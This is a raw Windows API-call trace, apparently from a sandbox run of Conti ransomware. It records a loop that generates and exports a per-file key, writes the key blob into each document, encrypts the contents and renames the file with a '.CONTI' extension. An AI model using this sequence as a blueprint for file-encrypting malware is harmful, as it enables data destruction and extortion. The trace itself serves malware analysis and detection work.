	[0140.717] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0xb1ca, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xb1ca, lpOverlapped=0x0) returned 1
	[0140.718] CryptEncrypt (in: hKey=0x6b7e9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xb1ca, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xb1d0) returned 1
	[0140.718] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.718] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xb1d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xb1d0, lpOverlapped=0x0) returned 1
	[0140.718] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.718] WriteFile (in: hFile=0x424, lpBuffer=0x6b53b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b53b90*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0140.719] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.719] CloseHandle (hObject=0x424) returned 1
	[0140.719] GetProcessHeap () returned 0x1720000
	[0140.719] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.719] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls"
	[0140.719] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls.CONTI"
	[0140.719] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\uerwdnbbwup.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\uerwdnbbwup.xls.conti")) returned 1
	[0140.719] GetProcessHeap () returned 0x1720000
	[0140.719] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.719] CryptDestroyKey (hKey=0x6b7e9f8) returned 1
	[0140.719] GetProcessHeap () returned 0x1720000
	[0140.719] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0140.719] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0140.719] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x6b7eab8) returned 1
	[0140.719] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x4fbf86c | out: pbData=0x6b5327c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0140.720] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\yhjtj8ojsebvj_zdh.ots")) returned 0x20
	[0140.720] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\yhjtj8ojsebvj_zdh.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0140.721] GetLastError () returned 0x0
	[0140.721] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=73173) returned 1
	[0140.721] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11dd5
	[0140.721] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.721] SetEndOfFile (hFile=0x424) returned 1
	[0140.721] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.721] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.721] WriteFile (in: hFile=0x424, lpBuffer=0x6b5327c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b5327c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0140.727] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.727] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x11dd5, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x11dd5, lpOverlapped=0x0) returned 1
	[0140.731] CryptEncrypt (in: hKey=0x6b7eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x11dd5, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x11de0) returned 1
	[0140.731] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.731] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x11de0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x11de0, lpOverlapped=0x0) returned 1
	[0140.731] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.731] WriteFile (in: hFile=0x424, lpBuffer=0x6b53270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b53270*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0140.731] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.732] CloseHandle (hObject=0x424) returned 1
	[0140.732] GetProcessHeap () returned 0x1720000
	[0140.732] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.732] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots"
	[0140.732] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots.CONTI"
	[0140.732] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\yhjtj8ojsebvj_zdh.ots"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\YHjtJ8OJsEbVj_ZDH.ots.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\yhjtj8ojsebvj_zdh.ots.conti")) returned 1
	[0140.732] GetProcessHeap () returned 0x1720000
	[0140.732] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.732] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0140.732] GetProcessHeap () returned 0x1720000
	[0140.732] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bdf8 | out: hHeap=0x1720000) returned 1
	[0140.733] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0140.733] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b53950 | out: phKey=0x6b53950*=0x6b7edf8) returned 1
	[0140.733] CryptExportKey (in: hKey=0x6b7edf8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53954, pdwDataLen=0x4fbf86c | out: pbData=0x6b53954*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0140.733] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst")) returned 0x2020
	[0140.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0140.734] GetLastError () returned 0x0
	[0140.734] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=271360) returned 1
	[0140.734] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x42400
	[0140.734] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.734] SetEndOfFile (hFile=0x424) returned 1
	[0140.734] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.734] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.734] WriteFile (in: hFile=0x424, lpBuffer=0x6b53954*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b53954*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0140.738] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.738] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x42400, lpOverlapped=0x0) returned 1
	[0140.744] CryptEncrypt (in: hKey=0x6b7edf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x42400, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x42410) returned 1
	[0140.745] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.745] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x42410, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x42410, lpOverlapped=0x0) returned 1
	[0140.745] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.746] WriteFile (in: hFile=0x424, lpBuffer=0x6b53948*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b53948*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0140.746] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.746] CloseHandle (hObject=0x424) returned 1
	[0140.746] GetProcessHeap () returned 0x1720000
	[0140.746] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.746] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst"
	[0140.746] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.CONTI"
	[0140.746] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.conti")) returned 1
	[0140.746] GetProcessHeap () returned 0x1720000
	[0140.746] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.746] CryptDestroyKey (hKey=0x6b7edf8) returned 1
	[0140.746] GetProcessHeap () returned 0x1720000
	[0140.746] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ac40 | out: hHeap=0x1720000) returned 1
	[0140.747] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0140.747] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b52de8 | out: phKey=0x6b52de8*=0x6b7ed78) returned 1
	[0140.747] CryptExportKey (in: hKey=0x6b7ed78, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52dec, pdwDataLen=0x4fbf86c | out: pbData=0x6b52dec*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0140.747] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv" (normalized: "c:\\users\\fd1hvy\\documents\\s8idtc-.csv")) returned 0x20
	[0140.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv" (normalized: "c:\\users\\fd1hvy\\documents\\s8idtc-.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0140.748] GetLastError () returned 0x0
	[0140.748] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=74855) returned 1
	[0140.748] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12467
	[0140.748] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.748] SetEndOfFile (hFile=0x424) returned 1
	[0140.748] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.748] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.748] WriteFile (in: hFile=0x424, lpBuffer=0x6b52dec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b52dec*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0140.750] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.750] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x12467, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x12467, lpOverlapped=0x0) returned 1
	[0140.755] CryptEncrypt (in: hKey=0x6b7ed78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x12467, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x12470) returned 1
	[0140.755] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.755] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x12470, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x12470, lpOverlapped=0x0) returned 1
	[0140.756] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.756] WriteFile (in: hFile=0x424, lpBuffer=0x6b52de0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b52de0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0140.756] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.756] CloseHandle (hObject=0x424) returned 1
	[0140.756] GetProcessHeap () returned 0x1720000
	[0140.756] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.756] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv") returned="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv"
	[0140.756] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv.CONTI"
	[0140.756] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv" (normalized: "c:\\users\\fd1hvy\\documents\\s8idtc-.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\S8IDTC-.csv.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\s8idtc-.csv.conti")) returned 1
	[0140.757] GetProcessHeap () returned 0x1720000
	[0140.757] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.757] CryptDestroyKey (hKey=0x6b7ed78) returned 1
	[0140.757] GetProcessHeap () returned 0x1720000
	[0140.757] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf2e0 | out: hHeap=0x1720000) returned 1
	[0140.757] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0140.757] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b52280 | out: phKey=0x6b52280*=0x6b7ed78) returned 1
	[0140.757] CryptExportKey (in: hKey=0x6b7ed78, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52284, pdwDataLen=0x4fbf86c | out: pbData=0x6b52284*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0140.758] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\uzcgfzf-21xixae0.xlsx")) returned 0x20
	[0140.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\uzcgfzf-21xixae0.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0140.758] GetLastError () returned 0x0
	[0140.758] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=30372) returned 1
	[0140.758] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x76a4
	[0140.758] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.758] SetEndOfFile (hFile=0x424) returned 1
	[0140.758] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.758] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.758] WriteFile (in: hFile=0x424, lpBuffer=0x6b52284*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b52284*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0140.767] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.767] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x76a4, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x76a4, lpOverlapped=0x0) returned 1
	[0140.769] CryptEncrypt (in: hKey=0x6b7ed78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x76a4, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x76b0) returned 1
	[0140.769] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.769] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x76b0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x76b0, lpOverlapped=0x0) returned 1
	[0140.769] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.769] WriteFile (in: hFile=0x424, lpBuffer=0x6b52278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b52278*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0140.769] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.769] CloseHandle (hObject=0x424) returned 1
	[0140.769] GetProcessHeap () returned 0x1720000
	[0140.769] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.769] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx"
	[0140.769] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\UZCgfzf-21xiXAe0.xlsx.CONTI"
